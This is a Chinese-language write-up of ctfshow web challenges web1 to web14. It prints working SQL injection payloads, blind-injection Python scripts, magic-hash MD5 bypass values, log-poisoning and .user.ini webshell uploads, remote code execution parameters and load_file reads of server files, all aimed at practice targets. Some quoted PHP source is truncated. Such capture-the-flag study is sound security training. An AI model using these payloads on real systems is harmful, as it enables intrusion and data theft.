ctfshow-web

目录

web签到题

web2

web3

web4

web5

web6

web7

web8

web9

错误做法

正确做法

web10

web11

web12

web13

web14


web签到题

ctfshow-web_第1张图片

直接f12查看到了一串编码,然后直接base64解码,得到flag

ctfshow-web_第2张图片

web2

ctfshow-web_第3张图片

直接用万能密码登录成功,

ctfshow-web_第4张图片

查询得到,回显的地方为第二个字段

然后开始爆表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#

查数据

1' union select 1,flag,3 from flag#

web3

ctfshow-web_第5张图片

我们可以直接

?url=php://input
POST:

得到了一个flag文件

?url=php://input
POST:

web4

题与web3相似,然后我们直接尝试一下data伪协议不行的

然后尝试日志注入

?url=/var/log/nginx/access.log

然后我们把一句话木马加在User-Agent里

在用蚁剑连一下

web5

ctype_alpha():判断变量是否由字母组成
is_numeric():判断变量是否由数字组成

很简单的,我们可以直接找一个纯数字和一个纯字母加密后为0e开头的md5值

?v2=240610708&v1=EEIZDOI

以下为收集到md5值为0e开头的英文和数字

QLTHNDT 
0e405967825401955372549139051580
​
QNKCDZO 
0e830400451993494058024219903391
​
EEIZDOI 
0e782601363539291779881938479162
​
TUFEPMC 
0e839407194569345277863905212547
​
UTIPEZQ 
0e382098788231234954670291303879
​
UYXFLOI 
0e552539585246568817348686838809
​
IHKFRNS 
0e256160682445802696926137988570
​
PJNPDWY 
0e291529052894702774557631701704
​
ABJIHVY 
0e755264355178451322893275696586
​
DQWRASX 
0e742373665639232907775599582643
​
DYAXWCA 
0e424759758842488633464374063001
​
GEGHBXL 
0e248776895502908863709684713578
​
GGHMVOE 
0e362766013028313274586933780773
​
GZECLQZ 
0e537612333747236407713628225676
​
NWWKITQ 
0e763082070976038347657360817689
​
NOOPCJF 
0e818888003657176127862245791911
​
MAUXXQC 
0e478478466848439040434801845361
​
MMHUWUV 
0e701732711630150438129209816536
240610708 
0e462097431906509019562988736854
​
314282422 
0e990995504821699494520356953734
​
571579406 
0e972379832854295224118025748221
​
903251147 
0e174510503823932942361353209384
​
1110242161 
0e435874558488625891324861198103
​
1320830526 
0e912095958985483346995414060832
​
1586264293 
0e622743671155995737639662718498
​
2302756269 
0e250566888497473798724426794462
​
2427435592 
0e067696952328669732475498472343
​
2653531602 
0e877487522341544758028810610885
​
3293867441 
0e471001201303602543921144570260
​
3295421201 
0e703870333002232681239618856220
​
3465814713 
0e258631645650999664521705537122
​
3524854780 
0e507419062489887827087815735195
​
3908336290 
0e807624498959190415881248245271
​
4011627063 
0e485805687034439905938362701775
​
4775635065 
0e998212089946640967599450361168
​
4790555361 
0e643442214660994430134492464512
​
5432453531 
0e512318699085881630861890526097
​
5579679820 
0e877622011730221803461740184915
​
5585393579 
0e664357355382305805992765337023
​
6376552501 
0e165886706997482187870215578015
​
7124129977 
0e500007361044747804682122060876
​
7197546197 
0e915188576072469101457315675502
​
7656486157 
0e451569119711843337267091732412

web6

这个题过滤掉了空格

我们可以直接用/**/替换空格就好

admin' or 1=1# //报错了
admin‘/**/or/**/1=1# //成功了
/开始~~
admin'/**/or/**/1=1/**/order/**/by/**/3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="flag"#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

web7

该题为盲注,看了y4爷的二分法脚本

import requests
​
url = "http://ef1aa69c-3250-414b-9468-0c03efbfbd6f.chall.ctf.show/?id='/**/"
​
result = ''
i = 0
​
while True:
    i = i + 1
    head = 32
    tail = 127
​
    while head < tail:
        mid = (head + tail) >> 1
        # payload = 'if(ascii(substr(database(),%d,1))>%d,1,0)' % (i, mid)
        # payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'
        # payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select/**/(flag)from(flag)),{i},1))>{mid},1,0)'
        r = requests.get(url + payload)
        if "By Rudyard Kipling" in r.text:
            head = mid + 1
        else:
            tail = mid
​
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
​

web8

import requests
​
url = "http://a448d26a-b594-47a1-b3e0-fddbe1d869ba.chall.ctf.show/?id=-1/**/or/**/"
​
result = ''
i = 0
​
while True:
    i = i + 1
    head = 32
    tail = 127
​
    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'
        # payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'
        # payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'
        payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'
        r = requests.get(url + payload)
        if "By Rudyard Kipling" in r.text:
            head = mid + 1
        else:
            tail = mid
​
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
​

web9

错误做法

打开是一个管理员登录,需要输入密码,我们直接爆破就好

ctfshow-web_第6张图片

得到了一个base64转图片的密文

然后转一下得到一个图片,下载这个图片,没有任何东西

ctfshow-web_第7张图片

 做到这,才发现前面全是粗了,思路根本不对

正确做法

先看一下/robots.txt,发现有一个index.phps

保存查看,源码如下

10){
            die("password error");
        }
        $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                         echo "登陆成功
"; echo $flag; } }    ?>
 
  

主要就是这一句话

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"

将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’

SELECT * FROM admin WHERE pass=’ ‘or ’ 6’

在网上有两个这样的字符串

ffifdyop、129581926211651571912466741651878684928

又因为长度有限制,所以输入ffifdyop可获得flag

web10

我们点击取消键,下载了附件内容

0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功
"; echo $flag; } ​ } }    ?>

源码:对post的数据进行的过滤,然后要对查询出来的值要和我们post的password相等

进行了WITH ROLLUP绕过

WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据

'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可

web11

ctfshow-web_第8张图片

在这里我们可以看到过滤掉了好多东西,然后它让我们

输入框的内容等于session的内容

 if($password==$_SESSION['password']){

我们可以删除里面的phpsesionid,然后session的值为空了,然后可以直接提交空密码就相等了

web12

打开题目环境,找到了一个hint

ctfshow-web_第9张图片

发现可以直接rcectfshow-web_第10张图片

然后在这里学到了一个新的函数

php的函数glob();glob()函数返回匹配指定模式的文件名或目录
glob("")匹配任意文件
glob(".txt")匹配以txt后缀的文件

我们可以用这个方法把当前目录的文件打印一下

输入:

?cmd=print_r(glob("*"));

 我们找到了一个文件,然后用高显函数,显示一下

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

得到flag

web13

打开题目为一个文件上传的题,尝试上传木马,上传了好多次并没有什么用,然后猜一下有没有源码泄露

.bak文件是备份文件。
.hg源码泄漏
.git源码泄漏
.DS_Store文件泄漏
.phps .bak结尾的网页

upload.php.bak得到了源码

 24){
        die("error file zise");
    }
    if (strlen($filename)>9){
        die("error file name");
    }
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }
​
 ?>

我们上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php

然后我们构造一个一句话木马1.txt,内容如下

上传成功~然后我们在上传一个.user.ini,在文件中写上

auto_prepend_file=1.txt

作用就是让txt文件以php呈现

在这里我尝试用蚁剑连,发现连不上,我们就直接在页面上搜索

a=print_r(glob("*"));

ctfshow-web_第11张图片

得到了文件,然后再次使用高显函数进行查看文件

a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

得到flag

web14

首先查看一下源码

很明显我们传入参数?c=3,不会退出循环,进而执行下一个case语句得到url

here_1s_your_f1ag.php

我们进入之后发现是一个注入的题目,然后我们看一下源码

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
        die('@A@');}

还是一样的爆一下数据库

?query=-1/**/union/**/select/**/database()

然后再爆表(注:因为过滤掉了有些关键词,我们可以利用反引号进行绕过)

table——》`table`
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段名

query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

没有得到flag,但是给了提示在secret.php

mysql提供读取本地文件的函数load_file()

?query=-1/**/union/**/select/**/load_file('/var/www/html/serect.php')

源码如下

我们可以直接读取'/real_flag_is_here'

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

得到flag

ctfshow-web_第12张图片

你可能感兴趣的:(html5,java,web安全)